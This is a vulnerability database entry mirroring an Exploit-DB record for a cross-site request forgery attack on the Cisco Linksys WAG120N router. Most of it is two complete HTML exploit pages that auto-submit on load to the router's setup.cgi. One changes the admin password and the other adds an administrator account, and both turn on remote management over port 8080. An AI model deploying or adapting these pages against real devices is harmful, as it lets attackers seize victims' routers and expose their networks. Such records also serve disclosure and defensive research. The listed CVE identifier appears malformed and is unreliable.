Details of VAR-E-201102-0516

Sign-up

ID

VAR-E-201102-0516

EDB ID

16252

TITLE

Cisco Linksys WAG120N - Cross-Site Request Forgery - Hardware webapps Exploit

Trust: 0.6

sources: EXPLOIT-DB: 16252

DESCRIPTION

Cisco Linksys WAG120N - Cross-Site Request Forgery. CVE-71032 . webapps exploit for Hardware platform

Trust: 0.6

sources: EXPLOIT-DB: 16252

AFFECTED PRODUCTS

vendor:

cisco

model:

linksys wag120n

scope:

-

version:

-

Trust: 1.0

sources: EXPLOIT-DB: 16252

EXPLOIT

----------------------------------------------------------------
Hardware : Linksys Cisco Wag120n(And perhaps similar versions)
Type of vunlnerability : CSRF ( Change Admin Password And Add User )
Risk of use : High
----------------------------------------------------------------
Producer Website : http://linksysbycisco.com
----------------------------------------------------------------
Discovered by : Khashayar Fereidani
Team Website : Http://IRCRASH.COM
Team Members : Khashayar Fereidani - Sina YazdanMehr - Arash Allebrahim
English Forums : Http://IRCRASH.COM/forums/
Email : irancrash [ a t ] gmail [ d o t ] com
----------------------------------------------------------------

CSRF For Change Admin Password :
#Use sysPasswd and sysConfirmPasswd to set new password

<html>
<head></head>
<body onLoad=javascript:document.form.submit()>

<form action="http://192.168.1.1/setup.cgi";

method="POST" name="form">

<input type="hidden" name="user_list" value="1">

<input type="hidden" name="h_user_list" value="1">

<input type="hidden" name="sysname" value="admin">

<input type="hidden" name="sysPasswd" value="password">

<input type="hidden" name="sysConfirmPasswd" value="password">

<input type="hidden" name="remote_management" value="enable">
<input type="hidden" name="http_wanport" value="8080">

<input type="hidden" name="upnp_enable" value="enable">

<input type="hidden" name="wlan_enable" value="enable">

<input type="hidden" name="igmp_proxy_enable" value="enable">

<input type="hidden" name="save" value="Save+Settings">

<input type="hidden" name="h_pwset" value="yes">

<input type="hidden" name="sysname_changed" value="yes">

<input type="hidden" name="pwchanged" value="yes">

<input type="hidden" name="pass_is_default" value="false">

<input type="hidden" name="h_remote_management" value="enable">

<input type="hidden" name="pass_is_none" value="no">

<input type="hidden" name="h_upnp_enable" value="enable">

<input type="hidden" name="h_wlan_enable" value="enable">

<input type="hidden" name="h_igmp_proxy_enable" value="enable">

<input type="hidden" name="todo" value="save">

<input type="hidden" name="this_file" value="Administration.htm">

<input type="hidden" name="next_file" value="Administration.htm">

<input type="hidden" name="message" value="">

<input type="hidden" name="h_wps_cur_status" value="">

</form>
</body>
</html>

----------------------------------------------------------------

CSRF For Add Administrator User:
#Use sysPasswd and sysConfirmPasswd to set new password
#if you add new user you should set pass_is_none=yes

<html>
<head></head>
<body onLoad=javascript:document.form.submit()>

<form action="http://192.168.1.1/setup.cgi";

method="POST" name="form">

<input type="hidden" name="user_list" value="2">

<input type="hidden" name="h_user_list" value="2">

<input type="hidden" name="sysname" value="ircrash">

<input type="hidden" name="sysPasswd" value="password">

<input type="hidden" name="sysConfirmPasswd" value="password">

<input type="hidden" name="remote_management" value="enable">
<input type="hidden" name="http_wanport" value="8080">

<input type="hidden" name="upnp_enable" value="enable">

<input type="hidden" name="wlan_enable" value="enable">

<input type="hidden" name="igmp_proxy_enable" value="enable">

<input type="hidden" name="save" value="Save+Settings">

<input type="hidden" name="h_pwset" value="yes">

<input type="hidden" name="sysname_changed" value="yes">

<input type="hidden" name="pwchanged" value="yes">

<input type="hidden" name="pass_is_default" value="false">

<input type="hidden" name="h_remote_management" value="enable">

<input type="hidden" name="pass_is_none" value="yes">

<input type="hidden" name="h_upnp_enable" value="enable">

<input type="hidden" name="h_wlan_enable" value="enable">

<input type="hidden" name="h_igmp_proxy_enable" value="enable">

<input type="hidden" name="todo" value="save">

<input type="hidden" name="this_file" value="Administration.htm">

<input type="hidden" name="next_file" value="Administration.htm">

<input type="hidden" name="message" value="">

<input type="hidden" name="h_wps_cur_status" value="">

</form>
</body>
</html>

Trust: 1.0

sources: EXPLOIT-DB: 16252

EXPLOIT LANGUAGE

html

Trust: 0.6

sources: EXPLOIT-DB: 16252

PRICE

free

Trust: 0.6

sources: EXPLOIT-DB: 16252

TYPE

Cross-Site Request Forgery

Trust: 1.0

sources: EXPLOIT-DB: 16252

CREDITS

Khashayar Fereidani

Trust: 0.6

sources: EXPLOIT-DB: 16252

EXTERNAL IDS

db:	EXPLOIT-DB	id:	16252	Trust: 1.6
db:	EDBNET	id:	43648	Trust: 0.6

sources: EXPLOIT-DB: 16252 // EDBNET: 43648

REFERENCES

url:

https://www.exploit-db.com/exploits/16252/

Trust: 0.6

sources: EDBNET: 43648

SOURCES

db:	EXPLOIT-DB	id:	16252
db:	EDBNET	id:	43648

LAST UPDATE DATE

2022-07-27T09:16:18.793000+00:00

SOURCES RELEASE DATE

db:	EXPLOIT-DB	id:	16252	date:	2011-02-26T00:00:00
db:	EDBNET	id:	43648	date:	2011-02-26T00:00:00